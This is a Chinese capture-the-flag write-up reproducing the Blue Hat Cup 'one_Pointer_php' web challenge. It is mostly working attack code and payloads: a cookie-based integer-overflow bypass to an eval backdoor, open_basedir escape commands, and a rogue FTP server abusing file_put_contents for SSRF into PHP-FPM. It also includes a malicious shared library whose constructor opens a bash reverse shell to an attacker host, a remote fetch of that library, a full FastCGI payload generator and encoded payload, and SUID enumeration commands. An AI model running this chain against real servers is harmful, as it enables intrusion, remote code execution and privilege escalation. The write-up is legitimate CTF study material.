第五届蓝帽杯-one_Pointer_php复现

image-20210503172438733

很有意思的一道题目,只有北邮的大佬解出来了。

整数溢出

下载源码审计:

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<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
$count[++$user->count]=1;
if($count[]=1){
$user->count+=1;
setcookie("data",serialize($user));
}else{
eval($_GET["backdoor"]);
}
}else{
$user=new User;
$user->count=1;
setcookie("data",serialize($user));
}
?>

发现会对COOKIE的data值进行反序列化,满足条件才可以调用backdoor

关键点在if($count[]=1) 需要让其返回false才能跳出if循环,利用 long类型最大值绕过:即整数溢出

传入的数组键名超过PHP最大数字时,就会溢出为0

当溢出为0,赋值语句返回false。

构造payload:

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<?php
class User{
public $count;
}

$v = new User();
$v->count="9223372036854775806";
echo serialize($v);
echo "\r\n";
echo urlencode(serialize($v));
?>
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O:4:"User":1:{s:5:"count";s:19:"9223372036854775806";}
O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bs%3A19%3A%229223372036854775806%22%3B%7D

伪造Cookie,看下phpinfo:

image-20210501130240146

php版本7.4 ,同时发现需要bypas disable_functions,想到FFI bypass。

image-20210501130434720

尝试了各种bypas disable_functions 都不可以。。。。。

绕过open_basedir

绕过open_basedir 看下flag位置:

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chdir('/tmp');mkdir('vvv');chdir('vvv');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(ini_get('open_basedir'));var_dump(glob('*'));

image-20210501130608148

flag在根目录下,读取失败,但是可以读取其他任意文件,看下文件权限:

image-20210501130721465

image-20210501131329517

image-20210501131351943

可见flag文件700权限,可见限制了/flag文件的权限,无法读取

尝试读取下php配置文件:

image-20210501131827516

image-20210501132229509

FFI bypass不能利用。发现有个so文件:

image-20210501132321578

猜测预期解应该是pwn这个so文件 bypass。

任意文件写入

通过测试发现可以写入任意文件:

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backdoor=chdir('/tmp');mkdir('vvv');chdir('vvv');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(ini_get('open_basedir'));file_put_contents('/var/www/html/v.php','testetsttetst');

image-20210503162946719

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backdoor=chdir('/tmp');mkdir('vvv');chdir('vvv');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(ini_get('open_basedir'));var_dump(file_get_contents('/var/www/html/v.php'));

image-20210503163022422

攻击PHP-FPM

通过phpinfo发现是fastcgi ,读配置文件:

image-20210501133821745

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/etc/nginx/sites-enabled/default

image-20210503123700888

可见php-fpm监听在本地的9001端口。这样就可以尝试攻击FPM来RCE。

但是现在需要找到一个类似Gopher的协议,来实现SSRF 攻击FPM。

SSRF via file_put_contents

前边我们说到可以任意文件写入,那么就可以利用 file_put_contents 函数,用法在hxp CTF已经考察过。思路是,通过任意文件写入一个file_put_contents函数到php文件,然后配合FTP实现SSRF

FTP有两种使用模式:主动和被动。主动模式要求客户端和服务器端同时打开并且监听一个端口以创建连接。在这种情况下,客户端由于安装了防火墙会产生一些问题。所以,创立了被动模式。被动模式只要求服务器端产生一个监听相应端口的进程,这样就可以绕过客户端安装了防火墙的问题。

非常重要的一点, 这个被动模式的端口是服务器指定的, 而且还有一点是很多地方没有提到的, 实际上除了端口, 服务器的地址也是可以被指定的.

file_put_contents 在使用 ftp 协议时, 会将 data 的内容上传到 ftp 服务器, 由于上面说的 pasv 模式下, 服务器的地址和端口是可控, 我们可以将地址和端口指到 127.0.0.1:9000. 同时由于 ftp 的特性, 不会有任何的多余内容, 类似 gopher 协议, 会将 data 原封不动的发给 127.0.0.1:9000, 完美符合攻击 fastcgi 的要求.

之后利用file_put_contents函数:

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file=ftp://vps:port/anything&data={fastcgi payload}

因为ftp的地址和端口是我们可控的,指定为本地的9001端口,也就是FPM的监听端口,因此构造的攻击fastcgi payload会发送到FPM 达到攻击的目的。

利用过程

按照Ha1c9on师傅的思路是通过加载so文件的方式攻击fastcgi。

构造恶意ftp服务器

构造恶意ftp服务器,指定地址为本地的9001端口,结合file_put_contents达到SSRF的目的。

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//evil_ftp.py
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 23))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

构造恶意so文件反弹shell

写一个扩展,直接反弹shell:

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//evil.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
system("bash -c 'bash -i >& /dev/tcp/vps/port 0>&1'");
}

编译evil.c文件,得到evil.so:

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gcc evil.c -fPIC -shared -o evil.so

将so文件上传到/tmp目录:

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copy('http://vps/evil.so','/tmp/evil.so');
var_dump(glob('/tmp/*'));

image-20210503170253488

Fastcgi攻击payload

攻击fastcgi的脚本,加载evil.so文件:

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<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author Pierrick Charron <pierrick@webstart.fr>
* @version 1.0
*/
class FCGIClient
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{0});
$ret['type'] = ord($data{1});
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved'] = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
// $this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
echo('data='.urlencode($request));
// fwrite($this->_sock, $request);
// do {
// $resp = $this->readPacket();
// if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
// $response .= $resp['content'];
// }
// } while ($resp && $resp['type'] != self::END_REQUEST);
// var_dump($resp);
// if (!is_array($resp)) {
// throw new Exception('Bad request');
// }
// switch (ord($resp['content']{4})) {
// case self::CANT_MPX_CONN:
// throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
// break;
// case self::OVERLOADED:
// throw new Exception('New request rejected; too busy [OVERLOADED]');
// break;
// case self::UNKNOWN_ROLE:
// throw new Exception('Role value not known [UNKNOWN_ROLE]');
// break;
// case self::REQUEST_COMPLETE:
// return $response;
// }
}
}
?>
<?php
// real exploit start here
//if (!isset($_REQUEST['cmd'])) {
// die("Check your input\n");
//}
//if (!isset($_REQUEST['filepath'])) {
// $filepath = __FILE__;
//}else{
// $filepath = $_REQUEST['filepath'];
//}

$filepath = "/var/www/html/add_api.php";
$req = '/'.basename($filepath);
$uri = $req .'?'.'command=whoami';
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
$php_value = "unserialize_callback_func = system\nextension_dir = /tmp\nextension = evil.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = ";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'QUERY_STRING' => 'command=whoami',
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
#'DOCUMENT_ROOT' => '/',
'PHP_VALUE' => $php_value,
'SERVER_SOFTWARE' => '80sec/wofeiwo',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9001',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>
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//payload
data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02%3C%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%B0PHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Ftmp%0Aextension+%3D+evil.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9000%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00
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//payload
backdoor=$file = $_GET['file'];$data = $_GET['data'];file_put_contents($file,$data);&file=ftp://aaa@vps:port/123&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02%3C%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%B0PHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Ftmp%0Aextension+%3D+evil.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9000%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00

之后就反弹回来shell:

image-20210503144600577

但是不能cat /flag,接下来提权。

SUID提权

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查看具有root权限的SUID文件:
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
或者sudo -l 命令列出当前用户可执行的命令

image-20210503150346482

可以利用php进行读取:

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chdir('/tmp');mkdir('vvv');chdir('vvv');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(ini_get('open_basedir'));echo file_get_contents('/flag');

image-20210503151905632

参考文章

蓝帽杯_one_Pointer_php

hxp CTF resonator Writeup - SSRF via file_put_contents

HXP resonator(利用file_put_contents打SSRF)

从一道CTF学习Fastcgi绕过姿势

浅析php-fpm的攻击方式